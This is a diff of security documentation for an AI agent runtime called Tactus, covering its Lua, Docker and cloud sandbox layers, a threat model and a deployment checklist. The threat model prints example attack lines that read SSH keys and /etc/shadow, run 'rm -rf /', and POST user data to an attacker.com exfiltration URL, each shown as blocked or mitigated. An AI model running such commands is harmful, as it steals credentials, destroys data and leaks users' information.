30
|
+
- Code injection attacks via procedure parameters
|
|
31
|
+
|
|
32
|
+
## How It Works
|
|
33
|
+
- **Restricted VM:** Lua procedures run in a sandboxed virtual machine
|
|
34
|
+
- **Limited stdlib:** Only safe standard library functions are exposed
|
|
35
|
+
- **Tool-mediated access:** All I/O operations must go through registered tools
|
|
36
|
+
- **No eval:** Dynamic code execution is disabled
|
|
37
|
+
|
|
38
|
+
## Example: Embeddable Safety
|
|
39
|
+
\`\`\`python
|
|
40
|
+
from tactus import TactusRuntime
|
|
41
|
+
|
|
42
|
+
# Safe to run user-contributed agent code
|
|
43
|
+
runtime = TactusRuntime()
|
|
44
|
+
result = await runtime.execute(
|
|
45
|
+
source=user_submitted_agent, # Safe even if malicious
|
|
46
|
+
context={"user_data": sensitive_data}
|
|
47
|
+
)
|
|
48
|
+
\`\`\`
|
|
49
|
+
|
|
50
|
+
The Lua sandbox ensures that even malicious agent code cannot:
|
|
51
|
+
- Access files directly (must use filesystem tool)
|
|
52
|
+
- Make network requests directly (must use web tool)
|
|
53
|
+
- Execute arbitrary system commands
|
|
54
|
+
- Escape the Lua VM to Python
|
|
55
|
+
|
|
56
|
+
## Limitations
|
|
57
|
+
Lua sandboxing **cannot** protect against:
|
|
58
|
+
- Agents using filesystem tools to read/modify sensitive files
|
|
59
|
+
- Agents using web tools to exfiltrate data
|
|
60
|
+
- Agents consuming excessive memory or CPU
|
|
61
|
+
|
|
62
|
+
For these threats, you need **OS-level sandboxing** (Docker or cloud).
|
|
63
|
+
|
|
64
|
+
---
|
|
65
|
+
|
|
66
|
+
# Layer 2: Docker Container Sandboxing (OS-Level)
|
|
67
|
+
|
|
68
|
+
Docker sandboxing provides **OS-level isolation** for Tactus agent execution. This layer protects your development machine from agents that use filesystem or network tools.
|
|
69
|
+
|
|
70
|
+
## Quick Start
|
|
71
|
+
|
|
72
|
+
\`\`\`bash
|
|
73
|
+
# Runs in Docker by default (if Docker available)
|
|
74
|
+
tactus run my-agent.tac
|
|
75
|
+
|
|
76
|
+
# Check sandbox status
|
|
77
|
+
tactus sandbox status
|
|
78
|
+
|
|
79
|
+
# Rebuild sandbox image
|
|
80
|
+
tactus sandbox rebuild
|
|
81
|
+
\`\`\`
|
|
82
|
+
|
|
83
|
+
## What It Protects Against
|
|
84
|
+
- Agents reading/modifying files on your host system
|
|
85
|
+
- Agents making unauthorized network requests
|
|
86
|
+
- Resource exhaustion (memory, CPU)
|
|
87
|
+
- Persistent state leakage between runs
|
|
88
|
+
|
|
89
|
+
## How It Works
|
|
90
|
+
- **Fresh container per execution:** Each \`tactus run\` spawns a new Docker container
|
|
91
|
+
- **Ephemeral filesystem:** All files created during execution are destroyed when the container exits
|
|
92
|
+
- **Resource limits:** Memory (default 2GB) and CPU (default 2 cores) limits
|
|
93
|
+
- **Network isolation:** Controlled network access (default: bridge mode, allows outbound)
|
|
94
|
+
- **Volume mounts:** Only explicitly configured directories are accessible
|
|
95
|
+
|
|
96
|
+
## Security-First Model
|
|
97
|
+
|
|
98
|
+
| Scenario | Behavior |
|
|
99
|
+
|----------|----------|
|
|
100
|
+
| Docker available | ✅ Runs in container automatically |
|
|
101
|
+
| Docker unavailable, sandbox not disabled | ❌ **ERROR:** Cannot run without isolation |
|
|
102
|
+
| \`--no-sandbox\` flag | ⚠️ Shows security warning, proceeds without Docker |
|
|
103
|
+
| \`sandbox.enabled: false\` in config | ⚠️ Shows security warning, proceeds without Docker |
|
|
104
|
+
|
|
105
|
+
### Example: Docker Unavailable
|
|
106
|
+
|
|
107
|
+
\`\`\`bash
|
|
108
|
+
$ tactus run agent.tac
|
|
109
|
+
|
|
110
|
+
[SANDBOX ERROR] Docker not available: Docker daemon not running
|
|
111
|
+
[SANDBOX ERROR] Cannot run procedure without container isolation.
|
|
112
|
+
[SANDBOX ERROR] Either:
|
|
113
|
+
- Start Docker Desktop / Docker daemon
|
|
114
|
+
- Use --no-sandbox flag to explicitly run without isolation (security risk)
|
|
115
|
+
- Set sandbox.enabled: false in config to permanently disable (security risk)
|
|
116
|
+
\`\`\`
|
|
117
|
+
|
|
118
|
+
### Example: Explicit Opt-Out
|
|
119
|
+
|
|
120
|
+
\`\`\`bash
|
|
121
|
+
$ tactus run agent.tac --no-sandbox
|
|
122
|
+
|
|
123
|
+
[SANDBOX] Container isolation disabled (--no-sandbox).
|
|
124
|
+
[SANDBOX] Proceeding without Docker isolation.
|
|
125
|
+
|
|
126
|
+
# Agent runs directly on host (security risk)
|
|
127
|
+
\`\`\`
|
|
128
|
+
|
|
129
|
+
## Configuration
|
|
130
|
+
|
|
131
|
+
Docker sandboxing is configured through Tactus's standard configuration system. You can control:
|
|
132
|
+
- Resource limits (memory, CPU)
|
|
133
|
+
- Network access
|
|
134
|
+
- Volume mounts
|
|
135
|
+
- Environment variables
|
|
136
|
+
- Timeout settings
|
|
137
|
+
|
|
138
|
+
**Configuration can be set at multiple levels:**
|
|
139
|
+
- **Global**: User or project-wide settings in `~/.tactus/config.yml` or `.tactus/config.yml`
|
|
140
|
+
- **Per-procedure**: Sidecar files (e.g., `procedure.tac.yml`) for procedure-specific overrides
|
|
141
|
+
|
|
142
|
+
For detailed configuration syntax and examples, see the [Configuration Guide](./CONFIGURATION.md#sandbox-configuration).
|
|
143
|
+
|
|
144
|
+
### Key Security Configurations
|
|
145
|
+
|
|
146
|
+
**Network isolation:**
|
|
147
|
+
```yaml
|
|
148
|
+
sandbox:
|
|
149
|
+
network: "none" # Disable all network access
|
|
150
|
+
```
|
|
151
|
+
Use for procedures handling sensitive data that don't need LLM API access.
|
|
152
|
+
|
|
153
|
+
**Resource limits:**
|
|
154
|
+
```yaml
|
|
155
|
+
sandbox:
|
|
156
|
+
limits:
|
|
157
|
+
memory: "2g"
|
|
158
|
+
cpus: "2"
|
|
159
|
+
timeout: 3600
|
|
160
|
+
```
|
|
161
|
+
Prevents resource exhaustion attacks and runaway procedures.
|
|
162
|
+
|
|
163
|
+
**Read-only data mounts:**
|
|
164
|
+
```yaml
|
|
165
|
+
sandbox:
|
|
166
|
+
volumes:
|
|
167
|
+
- "/sensitive/data:/data:ro" # Read-only to prevent modification
|
|
168
|
+
```
|
|
169
|
+
Allows procedures to access data without modification risk.
|
|
170
|
+
|
|
171
|
+
### Sidecar Configuration Security
|
|
172
|
+
|
|
173
|
+
**Important**: Sidecar YAML files (`.tac.yml`) are **NOT sandboxed** like `.tac` procedure files. They are trusted configuration that can:
|
|
174
|
+
- Mount arbitrary host paths into containers
|
|
175
|
+
- Configure network access
|
|
176
|
+
- Set environment variables
|
|
177
|
+
- Reference Docker images
|
|
178
|
+
|
|
179
|
+
**Trust boundary:**
|
|
180
|
+
- **`.tac` files**: Sandboxed Lua code - safe for user contributions, AI generation, public sharing
|
|
181
|
+
- **`.yml` files**: Trusted configuration - only from trusted sources, review before use
|
|
182
|
+
|
|
183
|
+
**Best practice**: If accepting user-contributed procedures, accept only `.tac` files. Do NOT accept their `.yml` configuration files without thorough review.
|
|
184
|
+
|
|
185
|
+
See [Configuration Guide](./CONFIGURATION.md#per-procedure-sandbox-configuration) for examples and detailed syntax.
|
|
186
|
+
|
|
187
|
+
## Performance
|
|
188
|
+
|
|
189
|
+
### Startup Time
|
|
190
|
+
|
|
191
|
+
**Typical spinup:** ~1-2 seconds
|
|
192
|
+
- Docker image pull (first time only): +10-30s
|
|
193
|
+
- Container creation: ~500ms
|
|
194
|
+
- Python imports: ~500ms-1s
|
|
195
|
+
- MCP server startup: ~100-500ms
|
|
196
|
+
|
|
197
|
+
**Optimization tips:**
|
|
198
|
+
- Pre-build and cache Docker image
|
|
199
|
+
- Use lighter base images
|
|
200
|
+
- Lazy-load Python dependencies
|
|
201
|
+
|
|
202
|
+
### Resource Usage
|
|
203
|
+
|
|
204
|
+
**Per-Container Overhead:**
|
|
205
|
+
- Memory: ~150-300MB (base Python + Node.js)
|
|
206
|
+
- Disk: ~500MB (image) + workspace size
|
|
207
|
+
- CPU: Minimal when idle
|
|
208
|
+
|
|
209
|
+
**Concurrent Execution:**
|
|
210
|
+
- 100 concurrent containers feasible on 32GB machine
|
|
211
|
+
- Each container isolated, no shared memory
|
|
212
|
+
- For higher concurrency, use cloud deployment (Lambda/Azure)
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
# Layer 3: Cloud Sandboxing (Per-Invocation)
|
|
217
|
+
|
|
218
|
+
**Purpose:** Prevent information leakage between users in multi-tenant AI systems.
|
|
219
|
+
|
|
220
|
+
## The AI Security Problem
|
|
221
|
+
|
|
222
|
+
Traditional security focuses on **unauthorized access**. AI systems introduce a new threat: **information leakage between sessions**.
|
|
223
|
+
|
|
224
|
+
### Examples of AI Session Leakage
|
|
225
|
+
- **Checkpoint contamination:** User A's checkpoints accessible to User B
|
|
226
|
+
- **Context pollution:** User A's conversation influencing User B's agent responses
|
|
227
|
+
- **Tool state persistence:** Filesystem tool retaining User A's files in User B's session
|
|
228
|
+
- **Memory caching:** Embeddings or cached data from User A leaking to User B
|
|
229
|
+
|
|
230
|
+
This is a **fundamentally new threat model** that requires per-invocation isolation.
|
|
231
|
+
|
|
232
|
+
## How Cloud Sandboxing Works
|
|
233
|
+
|
|
234
|
+
### AWS Lambda
|
|
235
|
+
- **Per-invocation isolation:** Each agent execution runs in a fresh Lambda instance
|
|
236
|
+
- **No shared state:** Lambda instances are destroyed after execution
|
|
237
|
+
- **Built-in limits:** Memory, CPU, and timeout controls
|
|
238
|
+
- **Network isolation:** VPC support for controlled network access
|
|
239
|
+
|
|
240
|
+
\`\`\`python
|
|
241
|
+
# Lambda handler for Tactus agent
|
|
242
|
+
def handler(event, context):
|
|
243
|
+
runtime = TactusRuntime(
|
|
244
|
+
procedure_id=event['procedure_id'],
|
|
245
|
+
storage_backend=DynamoDBStorage() # Isolated per user/session
|
|
246
|
+
)
|
|
247
|
+
|
|
248
|
+
result = await runtime.execute(
|
|
249
|
+
source=event['procedure_source'],
|
|
250
|
+
context=event['input_params']
|
|
251
|
+
)
|
|
252
|
+
|
|
253
|
+
return result
|
|
254
|
+
# Lambda instance destroyed - no state persists
|
|
255
|
+
\`\`\`
|
|
256
|
+
|
|
257
|
+
### Azure Durable Functions
|
|
258
|
+
- **Durable orchestration:** Long-running agents with checkpoint persistence
|
|
259
|
+
- **Per-invocation isolation:** Each orchestration runs in isolated execution context
|
|
260
|
+
- **State management:** Explicit state storage (Table Storage, Cosmos DB)
|
|
261
|
+
- **No cross-contamination:** State scoped to orchestration ID
|
|
262
|
+
|
|
263
|
+
\`\`\`csharp
|
|
264
|
+
// Azure Durable Function for Tactus agent
|
|
265
|
+
[FunctionName("TactusAgent")]
|
|
266
|
+
public static async Task<object> Run(
|
|
267
|
+
[OrchestrationTrigger] IDurableOrchestrationContext context)
|
|
268
|
+
{
|
|
269
|
+
var input = context.GetInput<AgentInput>();
|
|
270
|
+
|
|
271
|
+
var runtime = new TactusRuntime(
|
|
272
|
+
procedureId: input.ProcedureId,
|
|
273
|
+
storageBackend: new CosmosDbStorage(context.InstanceId)
|
|
274
|
+
);
|
|
275
|
+
|
|
276
|
+
var result = await runtime.Execute(
|
|
277
|
+
source: input.ProcedureSource,
|
|
278
|
+
context: input.Parameters
|
|
279
|
+
);
|
|
280
|
+
|
|
281
|
+
return result;
|
|
282
|
+
// Execution context destroyed - state only in Cosmos DB
|
|
283
|
+
}
|
|
284
|
+
\`\`\`
|
|
285
|
+
|
|
286
|
+
## Tactus's Defense-in-Depth
|
|
287
|
+
|
|
288
|
+
1. **Ephemeral execution:** No shared state between invocations by default
|
|
289
|
+
2. **Explicit persistence:** Checkpoints/state must be explicitly saved to external storage
|
|
290
|
+
3. **Scoped storage:** All storage backends scoped to user/session identifiers
|
|
291
|
+
4. **No global state:** No in-memory caches or global variables between invocations
|
|
292
|
+
|
|
293
|
+
## Production Best Practices
|
|
294
|
+
|
|
295
|
+
### ✅ DO
|
|
296
|
+
- Use separate storage backends per user/tenant
|
|
297
|
+
- Scope checkpoint IDs to include user/session identifiers
|
|
298
|
+
- Clear any caches between invocations
|
|
299
|
+
- Use serverless functions for automatic isolation
|
|
300
|
+
|
|
301
|
+
### ❌ DON'T
|
|
302
|
+
- Share storage backends between users
|
|
303
|
+
- Use global in-memory caches
|
|
304
|
+
- Persist tool state between invocations
|
|
305
|
+
- Reuse long-running processes for multiple users
|
|
306
|
+
|
|
307
|
+
---
|
|
308
|
+
|
|
309
|
+
# Threat Model
|
|
310
|
+
|
|
311
|
+
## Threat Categories
|
|
312
|
+
|
|
313
|
+
### 1. Information Leakage (Session Contamination)
|
|
314
|
+
|
|
315
|
+
**Attack Scenarios:**
|
|
316
|
+
|
|
317
|
+
**Checkpoint Leakage**
|
|
318
|
+
\`\`\`
|
|
319
|
+
1. User A runs agent, creates checkpoints with sensitive data
|
|
320
|
+
2. Checkpoints stored in shared storage without user scoping
|
|
321
|
+
3. User B runs agent, loads checkpoints from storage
|
|
322
|
+
4. User B's agent now has access to User A's sensitive data
|
|
323
|
+
\`\`\`
|
|
324
|
+
|
|
325
|
+
**Context Pollution**
|
|
326
|
+
\`\`\`
|
|
327
|
+
1. User A has conversation about confidential project "Project X"
|
|
328
|
+
2. Agent context stored in global cache
|
|
329
|
+
3. User B starts new conversation
|
|
330
|
+
4. Agent responds with references to "Project X" from previous context
|
|
331
|
+
\`\`\`
|
|
332
|
+
|
|
333
|
+
**Tactus Defenses:**
|
|
334
|
+
|
|
335
|
+
✅ **Per-Invocation Isolation**
|
|
336
|
+
\`\`\`python
|
|
337
|
+
# Each user gets fresh execution context
|
|
338
|
+
runtime = TactusRuntime(
|
|
339
|
+
procedure_id=f"agent-{user_id}",
|
|
340
|
+
storage_backend=get_user_storage(user_id) # Isolated storage
|
|
341
|
+
)
|
|
342
|
+
\`\`\`
|
|
343
|
+
|
|
344
|
+
✅ **Scoped Storage**
|
|
345
|
+
\`\`\`python
|
|
346
|
+
# Checkpoints scoped to user/session
|
|
347
|
+
storage = S3Storage(
|
|
348
|
+
bucket="tactus-checkpoints",
|
|
349
|
+
prefix=f"users/{user_id}/sessions/{session_id}/"
|
|
350
|
+
)
|
|
351
|
+
\`\`\`
|
|
352
|
+
|
|
353
|
+
### 2. Malicious Agent Code
|
|
354
|
+
|
|
355
|
+
**Attack Scenarios:**
|
|
356
|
+
|
|
357
|
+
**Filesystem Access**
|
|
358
|
+
\`\`\`lua
|
|
359
|
+
-- Malicious agent tries to read SSH keys
|
|
360
|
+
os.execute("cat ~/.ssh/id_rsa") -- Blocked by Lua sandbox
|
|
361
|
+
io.open("/etc/passwd"):read("*a") -- Blocked by Lua sandbox
|
|
362
|
+
\`\`\`
|
|
363
|
+
|
|
364
|
+
**Code Injection**
|
|
365
|
+
\`\`\`lua
|
|
366
|
+
-- Attacker tries to inject Python code
|
|
367
|
+
getmetatable("").__index.system("rm -rf /") -- Blocked by Lua sandbox
|
|
368
|
+
loadstring("malicious_code()")() -- Blocked (loadstring disabled)
|
|
369
|
+
\`\`\`
|
|
370
|
+
|
|
371
|
+
**Tactus Defenses:**
|
|
372
|
+
|
|
373
|
+
✅ **Lua VM Sandboxing**
|
|
374
|
+
- Restricted standard library (no \`os\`, \`io\`, \`loadstring\`)
|
|
375
|
+
- All I/O through registered tools
|
|
376
|
+
- No dynamic code execution
|
|
377
|
+
|
|
378
|
+
✅ **Docker Resource Limits**
|
|
379
|
+
\`\`\`yaml
|
|
380
|
+
sandbox:
|
|
381
|
+
limits:
|
|
382
|
+
memory: "2g" # OOM kills container if exceeded
|
|
383
|
+
cpus: "2" # CPU throttling
|
|
384
|
+
timeout: 3600 # Max execution time
|
|
385
|
+
\`\`\`
|
|
386
|
+
|
|
387
|
+
### 3. Tool-Mediated Attacks
|
|
388
|
+
|
|
389
|
+
**Attack Scenarios:**
|
|
390
|
+
|
|
391
|
+
**Filesystem Tool Abuse**
|
|
392
|
+
\`\`\`lua
|
|
393
|
+
-- Agent tries to read sensitive files
|
|
394
|
+
call_tool("filesystem", {
|
|
395
|
+
action = "read",
|
|
396
|
+
path = "/etc/shadow" -- Blocked by container isolation
|
|
397
|
+
})
|
|
398
|
+
\`\`\`
|
|
399
|
+
|
|
400
|
+
**Web Tool Exfiltration**
|
|
401
|
+
\`\`\`lua
|
|
402
|
+
-- Agent sends user data to attacker's server
|
|
403
|
+
call_tool("web", {
|
|
404
|
+
url = "https://attacker.com/exfil",
|
|
405
|
+
method = "POST",
|
|
406
|
+
body = user_sensitive_data -- Network access allowed but logged
|
|
407
|
+
})
|
|
408
|
+
\`\`\`
|
|
409
|
+
|
|
410
|
+
**Tactus Defenses:**
|
|
411
|
+
|
|
412
|
+
✅ **Container Filesystem Isolation**
|
|
413
|
+
\`\`\`bash
|
|
414
|
+
# Only workspace directory accessible
|
|
415
|
+
docker run -v /tmp/tactus-workspace:/workspace:rw
|
|
416
|
+
# No access to host filesystem outside mount
|
|
417
|
+
\`\`\`
|
|
418
|
+
|
|
419
|
+
✅ **Tool-Level Authorization**
|
|
420
|
+
\`\`\`python
|
|
421
|
+
# Tools can implement permission checks
|
|
422
|
+
class FilesystemTool:
|
|
423
|
+
def read_file(self, path: str):
|
|
424
|
+
if not self._is_authorized(path):
|
|
425
|
+
raise PermissionError(f"Access denied: {path}")
|
|
426
|
+
\`\`\`
|
|
427
|
+
|
|
428
|
+
✅ **Audit Logging**
|
|
429
|
+
\`\`\`python
|
|
430
|
+
# All tool calls logged for security audit
|
|
431
|
+
logger.info(f"Tool call: {tool_name}", extra={
|
|
432
|
+
"user_id": user_id,
|
|
433
|
+
"tool_args": args,
|
|
434
|
+
"timestamp": time.time()
|
|
435
|
+
})
|
|
436
|
+
\`\`\`
|
|
437
|
+
|
|
438
|
+
⚠️ **Network Access**
|
|
439
|
+
- Outbound network access allowed by default (needed for LLM APIs)
|
|
440
|
+
- Use \`network: none\` in config to disable
|
|
441
|
+
- Consider implementing egress filtering for production
|
|
442
|
+
|
|
443
|
+
## Threat Summary
|
|
444
|
+
|
|
445
|
+
| Threat | Lua Sandbox | Docker Sandbox | Cloud Sandbox |
|
|
446
|
+
|--------|-------------|----------------|---------------|
|
|
447
|
+
| Malicious agent code | ✅ Protects | - | - |
|
|
448
|
+
| Filesystem access | ❌ Cannot prevent | ✅ Protects | ✅ Protects |
|
|
449
|
+
| Network exfiltration | ❌ Cannot prevent | ✅ Protects | ✅ Protects |
|
|
450
|
+
| Resource exhaustion | ⚠️ Limited | ✅ Protects | ✅ Protects |
|
|
451
|
+
| Cross-user contamination | - | ⚠️ Same machine | ✅ Protects |
|
|
452
|
+
| Session leakage | - | ⚠️ Same machine | ✅ Protects |
|
|
453
|
+
|
|
454
|
+
---
|
|
455
|
+
|
|
456
|
+
# Multi-Tenant Deployment Checklist
|
|
457
|
+
|
|
458
|
+
## Development
|
|
459
|
+
- [ ] Docker Desktop installed and running
|
|
460
|
+
- [ ] Sandbox enabled in config (default)
|
|
461
|
+
- [ ] MCP servers reviewed for security issues
|
|
462
|
+
- [ ] Tool calls logged for debugging
|
|
463
|
+
- [ ] Resource limits configured appropriately
|
|
464
|
+
|
|
465
|
+
## Staging
|
|
466
|
+
- [ ] Per-user storage backends configured
|
|
467
|
+
- [ ] Session identifiers scoped correctly
|
|
468
|
+
- [ ] Prompt injection mitigations tested
|
|
469
|
+
- [ ] Tool authorization implemented
|
|
470
|
+
- [ ] Security audit logs enabled
|
|
471
|
+
|
|
472
|
+
## Production
|
|
473
|
+
- [ ] Serverless deployment (Lambda/Azure) for isolation
|
|
474
|
+
- [ ] Storage scoped to user/tenant/session
|
|
475
|
+
- [ ] Network egress filtering configured
|
|
476
|
+
- [ ] Tool calls audited and monitored
|
|
477
|
+
- [ ] Incident response plan documented
|
|
478
|
+
- [ ] Regular security reviews scheduled
|
|
479
|
+
|
|
480
|
+
---
|
|
481
|
+
|
|
482
|
+
# Key Takeaways
|
|
483
|
+
|
|
484
|
+
1. **Defense-in-depth:** Three layers address different threat models
|
|
485
|
+
2. **Default security:** Sandbox enabled by default, opt-out requires explicit acknowledgment
|
|
486
|
+
3. **AI-native design:** Built from the ground up to prevent session leakage
|
|
487
|
+
4. **Embeddable safety:** Lua sandboxing makes Tactus safe for user-contributed code
|
|
488
|
+
5. **Production-ready:** Cloud sandboxing provides multi-tenant isolation at scale
|
|
489
|
+
6. **Information security DNA:** Per-invocation sandboxing prevents AI session leakage, a critical requirement for multi-tenant AI systems
|
|
490
|
+
|
|
491
|
+
---
|
|
492
|
+
|
|
493
|
+
# Further Reading
|
|
494
|
+
|
|
495
|
+
- [Configuration Guide](./CONFIGURATION.md)
|
|
496
|
+
- [Durability & Checkpoints](./DURABILITY.md)
|
|
497
|
+
- [Tools Documentation](./TOOLS.md)
|
|
498
|
+
- [Docker Security Best Practices](https://docs.docker.com/engine/security/)
|
|
499
|
+
- [OWASP LLM Top 10](https://owasp.org/www-project-top-10-for-large-language-model-applications/)
|
|
@@ -45,6 +45,16 @@ Procedure {
|
|
|
45
45
|
end
|
|
46
46
|
}
|
|
47
47
|
|
|
48
|
+
-- Agent mock for CI testing (used when mocks are enabled)
|
|
49
|
+
Mocks {
|
|
50
|
+
greeter = {
|
|
51
|
+
tool_calls = {
|
|
52
|
+
{ tool = "done", args = { reason = "Hello! Welcome! I hope you have a wonderful day." } }
|
|
53
|
+
},
|
|
54
|
+
message = "Hello! Welcome! I hope you have a wonderful day."
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
|
|
48
58
|
Specifications([[
|
|
49
59
|
Feature: Simple Agent Interaction
|
|
50
60
|
Demonstrate basic LLM agent interaction with done tool
|